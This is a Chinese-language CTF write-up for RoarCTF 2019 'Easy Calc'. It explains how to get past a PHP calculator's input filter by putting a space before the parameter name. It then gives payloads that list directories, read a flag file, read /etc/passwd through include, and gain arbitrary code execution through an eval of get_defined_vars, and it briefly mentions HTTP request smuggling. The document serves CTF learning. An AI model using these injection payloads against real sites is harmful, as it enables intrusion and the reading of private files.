RoarCTF 2019-Easy Calc

所以很简单看到是上传到calc.php里
所以直接尝试访问

所以是传一个num,然后正则匹配这些符号
尝试一下命令执行吧
`?num=system('ls');` |

查询之后发现是需要空格绕过
但是这个空格绕过和之前不一样
以前是会在system之前加空格
这次是在num之前加空格
这样服务器会认为传入的参数是 空格num ,而不是 num 。这里用到这种绕过方式是因为假定服务器只对 num 参数做检测,而对于其他参数不做检测。
当 空格num 参数传入到后端,被 PHP 代码处理时,会被去除多余空格及特殊字符:如空格、制表符、回车换行符以及某些特殊字符等。这样一来仍然是 num 参数了。
payload:calc.php? num=var_dump(scandir(current(localeconv()))); |
查看当前目录下的文件
localeconv() 函数返回当前设置的地区的格式化信息,包括货币符号、小数点符号等。它返回一个数组,其中包含了与当前地区相关的格式化参数,该函数返回的第一个元素的值通常是小数点 “.” 。
current() 函数用于获取数组中的当前元素的值。在这里,它用于获取 localeconv() 函数返回的数组的第一个元素的值,即一个小数点。
scandir() 函数用于获取指定目录中的文件和文件夹列表。它接受一个路径作为参数,并返回一个包含指定目录中所有文件和文件夹的数组。scandir(“.”) 表示获取当前目录下的文件列表。
最后使用 var_dump() 函数将该列表输出到页面上。
但其实这里可以更简单:
calc.php? num=var_dump(scandir(chr(46))); |
46 是 “.” 的 ASCII 码值,返回结果:
因为可以有参数嘛。用 chr() 函数将数字变为字符。
同理查看根目录下的文件:
calc.php? num=var_dump(scandir(chr(47))); |
47 是 “/” 的 ASCII 码值

找到/f1aag这个文件
查看 /f1agg 文件
num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)); |
知识点2.file_get_contents() 函数
把整个文件读入一个字符串中。
chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)
分别是 ‘/’ ‘f’ ‘1’ ‘a’ ‘g’ ‘g’ 的 ASCII 值转字符,‘.’ 用作字符串连接。每一个 chr() 函数返回的结果由于是字符,所以自带了一对引号,不需要额外再加。

知识点3.url溢出
? num=1;eval(end(pos(get_defined_vars())))&nss=phpinfo();&get_defined_vars() |
返回由所有已定义变量所组成的数组,会返回 _GET , _POST , _COOKIE , _FILES 全局变量的值,返回数组顺序为 get->post->cookie->files 。
current():返回数组中的当前单元,初始指向插入到数组中的第一个单元,也就是会返回 $_GET 变量的数组值。
end() : 将内部指针指向数组中的最后一个元素,并输出。即新加入的参数 nss 。
最后由 eval() 函数执行,使得 get 方式的参数 nss 生效。
这样的话就可以再利用 nss 传参了,由于代码只对 num 参数的值做了过滤,因此 nss 参数理论上可以造成任意代码执行。
这样可以看到phpinfo,找到disable_function函数
查看 /etc/passwd 文件
? num=1;eval(end(pos(get_defined_vars())))&nss=include("/etc/passwd"); |
输出结果:

知识点4.http请求走私

大致原理就是使用了两个 Content-Length 头,使得前端无法识别,直接将整个包完全发给了后端。但这样还是要接受后端的黑名单过滤,所以 num 传参还是不能为所欲为。